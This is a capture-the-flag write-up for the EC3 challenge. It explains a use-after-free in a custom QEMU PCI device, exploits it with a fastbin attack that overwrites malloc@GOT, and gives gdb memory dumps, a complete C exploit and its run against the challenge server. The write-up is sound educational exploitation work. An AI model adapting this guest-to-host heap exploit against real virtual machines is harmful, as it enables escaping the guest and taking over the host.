Points: 150 Solves: 27 Category: Exploitation Description:

ec3.tar.gz

Summary

We are given a custom compiled qemu-system-x86_64 with a coded-in custom PCI device. Whenever the device is being written to or read from a corresponding ooo_write and ooo_read functions are executed on the host process. These functions take parameters the read/write address and size. We only abused the ooo_write function to achieve RCE. The ooo_write function can malloc a buffer of controlled size which saves in a pointer array as a global variable, meaning it’s a static address in the target process. It can also free any of the pointers in that array and also allows us to write data to any allocated buffers. The vulnerability is a Use-After-Free which lets us write to any of the buffers after they have been freed. To exploit this we will use a fastbin attack to allocate a buffer on top of the pointers array and create our own pointer that points to malloc@GOT of qemu-system-x86_64. Once we have inserted a pointer to GOT we are going to overwrite malloc with a pointer to a function created to make exploitation easier that simply does “system(‘cat ./flag’)”. So whenever the binary does malloc the flag will be printed on screen.

ooo_write

void ooo_write(__int64 opeque, __int64 hwaddr, __int64 a3, unsigned int size)
{
  addr = hwaddr;
  *(_QWORD *)&n[4] = a3;
  cmd = (hwaddr & 0xF00000) >> 20;
  switch ( cmd )
  {
    case 1:
      free(ptr_array[(addr & 0xF0000) >> 16]);
      break;
    case 2:
      index = ((unsigned int)addr & 0xF0000) >> 16;
      memcpy((void *)((signed __int16)addr + ptr_array[index]), &n[4], size);
      break;
    case 0:
      idx = (addr & 0xF0000) >> 16;
      if ( idx == 15 )
      {
        for ( i = 0; i <= 14; ++i )
          ptr_array[i] = malloc(8LL * *(_QWORD *)&n[4]);
      }
      else
      {
        ptr_array[idx] = malloc(8LL * *(_QWORD *)&n[4]);
      }
      break;
  }
}

The address parameter here contains the command to be executed (malloc/free/copy) as well as the index in the ptr_array. As you can see there is no NULLing of the pointer after free (command in case 1).

Exploitation

If you are not familiar with fastbin attack you can read about it here and here

Step-by-step guide to achieve RCE.

  1. Allocate a chunk of any size and store it in the 6th index in the ptr_array. This pointer’s MSB will be used to satisfy the size check of malloc for serving a fastbin of arbitrary address (the MSB is always 0x7f in our case).
  2. Allocate a 0x60 or 0x68 bytes so it will match with our specially crafted pointer’s MSB and save it at index 0.
  3. Free index 0
  4. Abuse the UAF and write at the address that was just freed. Potentially overwriting the FD pointer of the chunk at the top of the free list for size 0x60-0x68. We need to overwrite the FD with the address of the MSB of the pointer stored at index 6, plus 8.
  5. Allocate 2 buffers of 0x60-0x68 bytes so malloc returns an address on top of the pointer array.
  6. Write a fake pointer in the pointer array that points to malloc@GOT
  7. Overwrite malloc@GOT with the address of the function that does “system(‘cat ./flag’)”

Challenges

The biggest challenge encountered with this task was the fact that we didn’t have that much control over the pointers in any of the free lists (at least not for the 0x60-0x68 size). Qemu will often allocate our fake chunk somewhere before us if we take too much time or it will free a bunch of other same sized buffers which will move our fake pointer from the top of the free list. Because our fake chunk will not always be served in the first or second controlled allocation we don’t know at which index we are going to store this fake chunk pointer. This is the reason why we are allocating multiple 0x68 sized chunks in a loop in the final exploit as well as the reason why we are writing to all of the pointers.

Memory layout

gdb-peda$ x/40gx 0x1317940
0x1317940:  0x00007fffc85c7dd0  0x00007fffc85c7e90  # Step 1-3
0x1317950:  0x0000000000000000  0x0000000000000000
0x1317960:  0x0000000000000000  0x0000000000000000
0x1317970:  0x00007fffc817c3d0  0x0000000000000000
0x1317980:  0x0000000000000000  0x0000000000000000

gdb-peda$ x/4gx 0x00007fffc85c7dc0
0x7fffc85c7dc0: 0x0000000000000000  0x0000000000000075
0x7fffc85c7dd0: 0x000000000131796d  0x00007fffc85cc640  # Step 4 FD == 0x131796d

If you are still unsure why we wrote 0x000000000131796d, it’s because currently 0x7fffc85c7dc0 is at the top of the free list for 0x60-0x68 bytes (0x70 with metadata). When we do an allocation of this size 0x7fffc85c7dd0 (the user buffer) will be served and it’s FD will be placed at the top of the free list, that’s our pointer 0x000000000131796d. And why exactly this address, it’s because the MSB of ptr_array[6] will serve as it’s size which is a check that malloc performs for fastbin allocations (see below for memory layout).

gdb-peda$ x/4gx 0x000000000131796d
0x131796d:  0xffc817c3d0000000  0x000000000000007f  # <
0x131797d:  0x0000000000000000  0x0000000000000000

Once we manage to serve our controlled pointer via malloc the pointer array will mostly look like this

gdb-peda$ x/40gx 0x1317940
0x1317940:  0x00007fffc82d4710  0x000000000131797d
0x1317950:  0x00007fffc82e01f0  0x00007fffc81e1940
0x1317960:  0x00007fffc8298650  0x0000000000000000
0x1317970:  0x00007fffc8378a50  0x0000000000000000
0x1317980:  0x0000000000000000  0x0000000000000000
0x1317990:  0x0000000000000000  0x0000000000000000
0x13179a0:  0x0000000000000000  0x0000000000000000

Because qemu did not let us completely control the order of malloc calls in the whole program for this arena, our pointer will be at different indexes every time. We can overcome this issue by writing to all the pointers so we would eventually write to ours. What we will write is the address of malloc@GOT at index 8.

gdb-peda$ x/40gx 0x1317940
0x1317940:  0x00007fffc82d4710  0x000000000131797d
0x1317950:  0x00007fffc82e01f0  0x00007fffc81e1940
0x1317960:  0x00007fffc8298650  0x00007fffc802eb90
0x1317970:  0x00007fffc8378a50  0x0000000000000000
0x1317980:  0x0000000001130b78  0x0000000000000000
0x1317990:  0x0000000000000000  0x0000000000000000
0x13179a0:  0x0000000000000000  0x0000000000000000
0x13179b0:  0x0000000000000000  0x0000000000000000
gdb-peda$ x/gx 0x0000000001130b78
0x1130b78:  0x00007fffe0ac0130
gdb-peda$ x/1i 0x00007fffe0ac0130
   0x7fffe0ac0130 <__GI___libc_malloc>: push   rbp
gdb-peda$

At last we overwrite malloc’s address with 0x6E65F9 which if u look in IDA it’s a function that does system("cat ./flag").

Full exploit

/*
  Most of this code is taken from pcimem tool

  https://github.com/billfarrow/pcimem
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>

#define PRINT_ERROR \
    do { \
        fprintf(stderr, "Error at line %d, file %s (%d) [%s]\n", \
        __LINE__, __FILE__, errno, strerror(errno)); exit(1); \
    } while(0)

#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)

int fd = -1;

char *filename = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
void pcimem(uint64_t target, char access_type, uint64_t writeval) {
    /* Map one page */
    printf("mmap(%d, %ld, 0x%x, 0x%x, %d, 0x%x)\n", 0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, (int) target);
    void *map_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, target & ~MAP_MASK);
    if(map_base == (void *) -1) PRINT_ERROR;
    printf("PCI Memory mapped to address 0x%08lx.\n", (unsigned long) map_base);
    uint64_t read_result;

    int type_width = 0;
    void *virt_addr = map_base + (target & MAP_MASK);
  switch(access_type) {
    case 'b':
      *((uint8_t *) virt_addr) = writeval;
      read_result = *((uint8_t *) virt_addr);
      type_width = 1;
      break;
    case 'h':
      *((uint16_t *) virt_addr) = writeval;
      read_result = *((uint16_t *) virt_addr);
      type_width = 2;
      break;
    case 'w':
      *((uint32_t *) virt_addr) = writeval;
      read_result = *((uint32_t *) virt_addr);
      type_width = 4;
      break;
    case 'd':
      *((uint64_t *) virt_addr) = writeval;
      read_result = *((uint64_t *) virt_addr);
      type_width = 8;
      break;
  }
  printf("Written 0x%0*lX; readback 0x%*lX\n", type_width, writeval, type_width, read_result);
    if(munmap(map_base, MAP_SIZE) == -1) PRINT_ERROR;
}


int main(int argc, char **argv) {
    off_t target;

    target = strtoul(argv[2], 0, 0);

    if((fd = open(filename, O_RDWR | O_SYNC)) == -1) PRINT_ERROR;
    printf("%s opened.\n", filename);
    printf("Target offset is 0x%x, page size is %ld\n", (int) target, sysconf(_SC_PAGE_SIZE));

  pcimem(0x060000, 'b', 0xd); // Step 1

  pcimem(0x000000, 'b', 0xd); // Step 2
  pcimem(0x010000, 'b', 0xd); // Step 2

  pcimem(0x100000, 'b', 0xd); // Step 3
  pcimem(0x200000, 'd', 0x131796d); // Step 4

  int i = 0;
  for (i; i < 6; i++) {
    pcimem(i << 16, 'b', 0xd);    // Step 5
  }

  for (i = 0; i < 6; i ++) {
    pcimem((0x20 | i) << 16, 'd', 0x1130b78000000); // Step 6
  }

  pcimem(0x280000, 'd', 0x6E65F9);  // Step 7
  pcimem(0x000000, 'b', 0x10);      // call system("cat ./flag")


    close(fd);
    return 0;
}

Unnecessary to show python script just solves the POW and sends the binary in base64 form to the remote machine.

➜  EC3 python ./ec3_solve.py 11d9f496.quals2018.oooverflow.io 31337
[*] For remote: ./ec3_solve.py HOST PORT
[+] Opening connection to 11d9f496.quals2018.oooverflow.io on port 31337: Done
[*] Switching to interactive mode
 base64 -d cust_pcimem.b64 > cust_pcimem && chmod +x cust_pcimem && ./cust_pcimem

/sys/devices/pci0000:00/0000:00:04.0/resource0 opened.
Target offset is 0x0, page size is 4096
mmap(0, 4096, 0x3, 0x1, 3, 0x60000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0xD; readback 0xD
mmap(0, 4096, 0x3, 0x1, 3, 0x0)
PCI Memory mapped to address 0x7f48a633c000.
Written 0xD; readback 0xD
mmap(0, 4096, 0x3, 0x1, 3, 0x10000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0xD; readback 0xD
mmap(0, 4096, 0x3, 0x1, 3, 0x100000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0xD; readback 0xD
mmap(0, 4096, 0x3, 0x1, 3, 0x200000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0x0131796D; readback 0x 131796D
mmap(0, 4096, 0x3, 0x1, 3, 0x0)
PCI Memory mapped to address 0x7f48a633c000.
Written 0xD; readback 0xD
mmap(0, 4096, 0x3, 0x1, 3, 0x10000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0xD; readback 0xD
mmap(0, 4096, 0x3, 0x1, 3, 0x20000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0xD; readback 0xD
mmap(0, 4096, 0x3, 0x1, 3, 0x30000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0xD; readback 0xD
mmap(0, 4096, 0x3, 0x1, 3, 0x40000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0xD; readback 0xD
mmap(0, 4096, 0x3, 0x1, 3, 0x50000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0xD; readback 0xD
mmap(0, 4096, 0x3, 0x1, 3, 0x200000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0x1130B78000000; readback 0x1130B78000000
mmap(0, 4096, 0x3, 0x1, 3, 0x210000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0x1130B78000000; readback 0x1130B78000000
mmap(0, 4096, 0x3, 0x1, 3, 0x220000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0x1130B78000000; readback 0x1130B78000000
mmap(0, 4096, 0x3, 0x1, 3, 0x230000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0x1130B78000000; readback 0x1130B78000000
mmap(0, 4096, 0x3, 0x1, 3, 0x240000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0x1130B78000000; readback 0x1130B78000000
mmap(0, 4096, 0x3, 0x1, 3, 0x250000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0x1130B78000000; readback 0x1130B78000000
mmap(0, 4096, 0x3, 0x1, 3, 0x280000)
PCI Memory mapped to address 0x7f48a633c000.
Written 0x006E65F9; readback 0x  6E65F9
mmap(0, 4096, 0x3, 0x1, 3, 0x0)
PCI Memory mapped to address 0x7f48a633c000.
OOO{did you know that the cloud is safe}
OOO{did you know that the cloud is safe}
OOO{did you know that the cloud is safe}
OOO{did you know that the cloud is safe}
OOO{did you know that the cloud is safe}
OOO{did you know that the cloud is safe}
OOO{did you know that the cloud is safe}
OOO{did you know that the cloud is safe}

Thanks to aegis and dropkick for providing the means of communication with the device